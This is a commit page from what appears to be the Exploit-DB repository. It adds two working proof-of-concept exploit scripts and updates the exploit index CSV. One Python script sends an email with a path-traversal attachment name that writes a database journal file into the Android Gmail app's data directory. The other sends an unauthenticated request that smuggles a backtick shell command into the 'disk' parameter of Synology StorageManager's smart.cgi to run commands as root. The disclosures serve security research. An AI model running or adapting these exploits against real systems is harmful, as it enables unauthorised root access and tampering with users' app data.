Skip to content

Commit cc349de

Browse files
author
Offensive Security
committed
DB: 2017-11-29
4 changes to exploits/shellcodes Android Gmail < 7.11.5.176568039 - Directory Traversal in Attachment Download Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) YaBB 1 Gold - SP 1 YaBB.pl Cross-Site Scripting YaBB 1 Gold SP 1 - 'YaBB.pl' Cross-Site Scripting NetPilot/Soho Blue Router 6.1.15 - Privilege Escalation Synology StorageManager 5.2 - Remote Root Command Execution
1 parent dc5ab6a commit cc349de

4 files changed

Lines changed: 186 additions & 3 deletions

File tree

‎exploits/android/dos/43189.py‎

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
'''
2+
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1342
3+
4+
There is a directory traversal issue in attachment downloads in Gmail. For non-gmail accounts, there is no path sanitization on the attachment filename in the email, so when attachments are downloaded, a file with any name and any contents can be written to anywhere on the filesystem that the Gmail app can access. This bug has the following limitations:
5+
6+
1) the email address has to be a non-Gmail and non Gmailified (Hotmail or Yahoo) account
7+
2) the file can not overwrite an existing file, it has to be a file that doesn't already exist
8+
3) there user has to click to download the attachment (and the path looks a bit weird on the screen)
9+
10+
It is possible to modify a EmailProviderBody database using this bug by placing a journal file in the databases directory.
11+
12+
Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your Gmail credentials). WARNING: this PoC will cause Gmail to crash repeatedly, and you will need to re-install it to get it to work again
13+
14+
Content-Type: multipart/mixed; boundary="---
15+
-714A286D976BF3E58D9D671E37CBCF7C"
16+
MIME-Version: 1.0
17+
Subject: hello
18+
To: <address>
19+
From: natashenka@google.com
20+
21+
You will not see this in a MIME-aware mail reader.
22+
23+
------714A286D976BF3E58D9D671E37CBCF7C
24+
Content-Type: text/html
25+
26+
<html><body><b>test</b></body></html>
27+
28+
------714A286D976BF3E58D9D671E37CBCF7C
29+
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
30+
Content-Transfer-Encoding: base64
31+
Content-Disposition: attachment; filename="test"
32+
33+
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
34+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
35+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
36+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
37+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
38+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
39+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
40+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
41+
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
42+
43+
------714A286D976BF3E58D9D671E37CBCF7C
44+
'''
45+
46+
import os
47+
import sys
48+
import smtplib
49+
import mimetypes
50+
51+
from optparse import OptionParser
52+
53+
from email import encoders
54+
from email.message import Message
55+
from email.mime.audio import MIMEAudio
56+
from email.mime.base import MIMEBase
57+
from email.mime.image import MIMEImage
58+
from email.mime.multipart import MIMEMultipart
59+
from email.mime.text import MIMEText
60+
import subprocess
61+
import random
62+
63+
64+
def main():
65+
66+
67+
68+
FROM_ADDRESS = "YOUR FROM ADDRESS HERE"
69+
YOUR_CREDENTIAL = "GET A GOOGLE ACCOUNT TEMPORARY PASSWORD AND PUT IT HERE"
70+
TO_ADDRESS = "ACCOUNT TO ATTACK HERE"
71+
72+
73+
74+
composed = """Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="----714A286D976BF3E58D9D671E37CBCF7C"
75+
MIME-Version: 1.0
76+
Subject: hello image2adfdfs1
77+
To: """+ TO_ADDRESS +"""
78+
From: """ + FROM_ADDRESS + """
79+
80+
You will not see this in a MIME-aware mail reader.
81+
82+
------714A286D976BF3E58D9D671E37CBCF7C
83+
Content-Type: text/html
84+
85+
<html><body><b>test</b></body></html>
86+
87+
------714A286D976BF3E58D9D671E37CBCF7C
88+
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
89+
Content-Transfer-Encoding: base64
90+
Content-Disposition: attachment; filename="%2e%2e%2fqpng"
91+
92+
2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
93+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
94+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
95+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
96+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
97+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
98+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
99+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
100+
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=
101+
102+
------714A286D976BF3E58D9D671E37CBCF7C"""
103+
104+
105+
106+
107+
s = smtplib.SMTP_SSL("smtp.gmail.com")
108+
s.login(FROM_ADDRESS, YOUR_CREDENTIAL)
109+
you = TO_ADDRESS
110+
s.sendmail(FROM_ADDRESS, you, composed)
111+
s.quit()
112+
113+
114+
if __name__ == '__main__':
115+
main()

‎exploits/cgi/webapps/43190.py‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
'''
2+
SSD Advisory – Synology StorageManager smart.cgi Remote Command Execution
3+
4+
Full report: https://blogs.securiteam.com/index.php/archives/3540
5+
Twitter: @SecuriTeam_SSD
6+
Weibo: SecuriTeam_SSD
7+
8+
9+
Vulnerability Summary
10+
The following advisory describes a remote command execution vulnerability
11+
found in Synology StorageManager.
12+
13+
Storage Manager is “a management application that helps you organize and
14+
monitor the storage capacity on your Synology NAS. Depending on the model
15+
and number of installed hard drives, Storage Manager helps you accomplish
16+
the following tasks:
17+
18+
Create different types of RAID and non-RAID storage configurations, such as
19+
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
20+
Monitor the overall storage usage of your Synology NAS.
21+
Inspect the health of installed hard drives and solid state drives.
22+
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and
23+
more.”
24+
25+
Credit
26+
An independent security researcher, Nigusu Kassahun, has reported this
27+
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
28+
29+
Vendor response
30+
Synology has released patches to address this vulnerability – DSM 5.2-5967-5
31+
32+
For more information: https://www.synology.com/en-global/releaseNote/DS210+
33+
34+
Vulnerability details
35+
User controlled input is not sufficiently sanitized, and then passed to
36+
execve function.
37+
38+
Successful exploitation of this vulnerability enables a remote
39+
unauthenticated user to run commands as root on the machine.
40+
41+
The vulnerable parameter can be found in
42+
/webman/modules/StorageManager/smart.cgi with parameter
43+
action=apply&operation=quick&disk=%2Fdev%2Fsda
44+
45+
Proof of Concept
46+
47+
===
48+
'''
49+
50+
# Synology StorageManager <= 5.2 Remote Root Command Execution
51+
52+
53+
import httplib
54+
55+
56+
HOST = raw_input("Enter Host: ")
57+
58+
59+
#IDOR to bypass auth and ticks to chain commands
60+
61+
conn = httplib.HTTPConnection(HOST)
62+
63+
conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")
64+
65+
res = conn.geresponse()
66+
67+
print res.status, res.reason

‎exploits/hardware/webapps/32667.pdf‎

-3 Bytes
Binary file not shown.

‎files_exploits.csv‎

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5760,6 +5760,7 @@ id,file,description,date,author,type,platform,port
57605760
43184,exploits/multiple/dos/43184.txt,"Exim 4.89 - 'BDAT' Denial of Service",2017-11-27,meh,dos,multiple,
57615761
43185,exploits/windows/dos/43185.pl,"KMPlayer 4.2.2.4 - Denial of Service",2017-11-22,R.Yavari,dos,windows,
57625762
43186,exploits/windows/dos/43186.pl,"Winamp Pro 5.66.Build.3512 - Denial of Service",2017-11-22,R.Yavari,dos,windows,
5763+
43189,exploits/android/dos/43189.py,"Android Gmail < 7.11.5.176568039 - Directory Traversal in Attachment Download",2017-11-28,"Google Security Research",dos,android,
57635764
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
57645765
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
57655766
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -9145,7 +9146,7 @@ id,file,description,date,author,type,platform,port
91459146
40810,exploits/linux/local/40810.c,"Linux Kernel 2.6.18 - 'move_pages()' Information Leak",2010-02-08,spender,local,linux,
91469147
40811,exploits/lin_x86-64/local/40811.c,"Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak",2009-10-04,spender,local,lin_x86-64,
91479148
40812,exploits/linux/local/40812.c,"Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation",2013-12-16,spender,local,linux,
9148-
40839,exploits/linux/local/40839.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)",2016-11-28,FireFart,local,linux,
9149+
40839,exploits/linux/local/40839.c,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)",2016-11-28,FireFart,local,linux,
91499150
40847,exploits/linux/local/40847.cpp,"Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)",2016-11-27,"Gabriele Bonacini",local,linux,
91509151
40848,exploits/windows/local/40848.java,"WinPower 4.9.0.4 - Local Privilege Escalation",2016-11-29,"Kacper Szurek",local,windows,
91519152
40859,exploits/windows/local/40859.txt,"Microsoft Authorization Manager 6.1.7601 - 'azman' XML External Entity Injection",2016-12-04,hyp3rlinx,local,windows,
@@ -26169,7 +26170,7 @@ id,file,description,date,author,type,platform,port
2616926170
22048,exploits/php/webapps/22048.txt,"News Evolution 1.0/2.0 - Include Undefined Variable Command Execution",2002-11-26,frog,webapps,php,
2617026171
22050,exploits/cgi/webapps/22050.txt,"BizDesign ImageFolio 2.x/3.0.1 - 'imageFolio.cgi?direct' Cross-Site Scripting",2002-11-27,SecurityTracker.com,webapps,cgi,
2617126172
22051,exploits/cgi/webapps/22051.txt,"BizDesign ImageFolio 2.x/3.0.1 - 'nph-build.cgi' Cross-Site Scripting",2002-11-27,SecurityTracker.com,webapps,cgi,
26172-
22052,exploits/cgi/webapps/22052.txt,"YaBB 1 Gold - SP 1 YaBB.pl Cross-Site Scripting",2002-11-28,"Fabricio Angeletti",webapps,cgi,
26173+
22052,exploits/cgi/webapps/22052.txt,"YaBB 1 Gold SP 1 - 'YaBB.pl' Cross-Site Scripting",2002-11-28,"Fabricio Angeletti",webapps,cgi,
2617326174
22065,exploits/php/webapps/22065.html,"phpBB 2.0.3 - 'search.php' Cross-Site Scripting",2002-12-03,f_a_a,webapps,php,
2617426175
22070,exploits/windows/webapps/22070.py,"OTRS 3.1 - Persistent Cross-Site Scripting",2012-10-18,"Mike Eduard",webapps,windows,
2617526176
22071,exploits/php/webapps/22071.txt,"WordPress Plugin FireStorm Professional Real Estate 2.06.01 - SQL Injection",2012-10-18,"Ashiyane Digital Security Team",webapps,php,
@@ -32715,7 +32716,6 @@ id,file,description,date,author,type,platform,port
3271532716
32664,exploits/ios/webapps/32664.txt,"iShare Your Moving Library 1.0 iOS - Multiple Vulnerabilities",2014-04-02,Vulnerability-Lab,webapps,ios,8080
3271632717
32665,exploits/php/webapps/32665.txt,"Kloxo 6.1.18 Stable - Cross-Site Request Forgery",2014-04-02,"Necmettin COSKUN",webapps,php,7778
3271732718
32666,exploits/php/webapps/32666.txt,"Kloxo-MR 6.5.0 - Cross-Site Request Forgery",2014-04-02,"Necmettin COSKUN",webapps,php,7778
32718-
32667,exploits/hardware/webapps/32667.pdf,"NetPilot/Soho Blue Router 6.1.15 - Privilege Escalation",2014-04-02,"Richard Davy",webapps,hardware,80
3271932719
32668,exploits/php/webapps/32668.txt,"CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities",2014-04-03,"Blessen Thomas",webapps,php,
3272032720
32669,exploits/php/webapps/32669.txt,"PHPcksec 0.2 - 'PHPcksec.php' Cross-Site Scripting",2008-12-17,ahmadbady,webapps,php,
3272132721
32670,exploits/php/webapps/32670.txt,"Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects",2014-04-03,"Giuseppe D'Amore",webapps,php,
@@ -38227,3 +38227,4 @@ id,file,description,date,author,type,platform,port
3822738227
43158,exploits/hardware/webapps/43158.txt,"Icon Time Systems RTC-1000 Firmware 2.5.7458 - Cross-Site Scripting",2017-11-17,"Keith Thome",webapps,hardware,
3822838228
43177,exploits/multiple/webapps/43177.txt,"CommuniGatePro 6.1.16 - Cross-Site Scripting",2017-11-15,"Boumediene KADDOUR",webapps,multiple,
3822938229
43188,exploits/hardware/webapps/43188.txt,"ZTE ZXDSL 831CII - Improper Access Restrictions",2017-11-27,"Ibad Shah",webapps,hardware,
38230+
43190,exploits/cgi/webapps/43190.py,"Synology StorageManager 5.2 - Remote Root Command Execution",2017-11-28,SecuriTeam,webapps,cgi,

0 commit comments

Comments
 (0)